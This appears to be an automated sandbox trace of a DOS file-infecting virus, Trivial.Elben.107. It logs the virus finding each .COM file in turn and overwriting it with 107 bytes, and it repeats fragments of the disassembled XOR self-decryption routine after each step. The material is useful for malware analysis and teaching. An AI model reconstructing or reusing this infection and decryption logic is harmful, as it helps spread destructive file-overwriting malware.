Sample viewer

vx.netlux.org/Virus.DOS.Trivial.Elben.107

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:46.169225028Z 78 PC: 12a6f | Find first file
2018-12-17T22:52:46.177811335Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.182412674Z 61 PC: 12a53 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:52:46.190243613Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.198399296Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.222356586Z 79 PC: 12a7d | Find next file
2018-12-17T22:52:46.225784115Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.228745527Z 61 PC: 12a53 | Open file (Filename = 'PRINT.COM')
2018-12-17T22:52:46.242174986Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.25824454Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.280481601Z 79 PC: 12a7d | Find next file
2018-12-17T22:52:46.284995889Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.288039641Z 61 PC: 12a53 | Open file (Filename = 'HELLO.COM')
2018-12-17T22:52:46.297117041Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.321962741Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.331853893Z 79 PC: 12a7d | Find next file
2018-12-17T22:52:46.335308252Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.346803972Z 61 PC: 12a53 | Open file (Filename = 'PHANG.COM')
2018-12-17T22:52:46.355441635Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.364955291Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.374024228Z 79 PC: 12a7d | Find next file
2018-12-17T22:52:46.377966345Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.380916891Z 61 PC: 12a53 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:52:46.389729785Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.398269863Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.407984018Z 79 PC: 12a7d | Find next file
2018-12-17T22:52:46.411242838Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.414587862Z 61 PC: 12a53 | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:52:46.422474209Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.430320218Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.440473766Z 79 PC: 12a7d | Find next file
2018-12-17T22:52:46.443957126Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.446957228Z 61 PC: 12a53 | Open file (Filename = 'PAH.COM')
2018-12-17T22:52:46.460120005Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.468054914Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.477736494Z 79 PC: 12a7d | Find next file
2018-12-17T22:52:46.48174291Z 44 PC: 12a90 | Get time 0x12a90: cmp dl, 0
0x12a93: je 0x12a8c
0x12a95: mov byte ptr [0x14b], dl
0x12a99: ret
0x12a9a: mov cx, 0x25
0x12a9d: mov si, 0x126
0x12aa0: mov di, si
0x12aa2: lodsb al, byte ptr [si]
0x12aa3: xor al, byte ptr [0x14b]
0x12aa7: stosb byte ptr es:[di], al
0x12aa8: loop 0x12aa2
0x12aaa: ret
0x12aab: add si, di
0x12aad: enter 0x2774, -2
0x12ab1: enter 0x2b74, -0x75
0x12ab5: pop es
0x12ab6: mov cx, 4
0x12ab9: rol ax, 1
0x12abb: rol ax, 1
0x12abd: rol ax, 1
2018-12-17T22:52:46.484570397Z 61 PC: 12a53 | Open file (Filename = 'TEST.COM')
2018-12-17T22:52:46.49197096Z 64 PC: 12a5e | Write file or device (Write 107 bytes on handle 5)
2018-12-17T22:52:46.495360223Z 62 PC: 12a62 | Close file
2018-12-17T22:52:46.519457619Z 79 PC: 12a7d | Find next file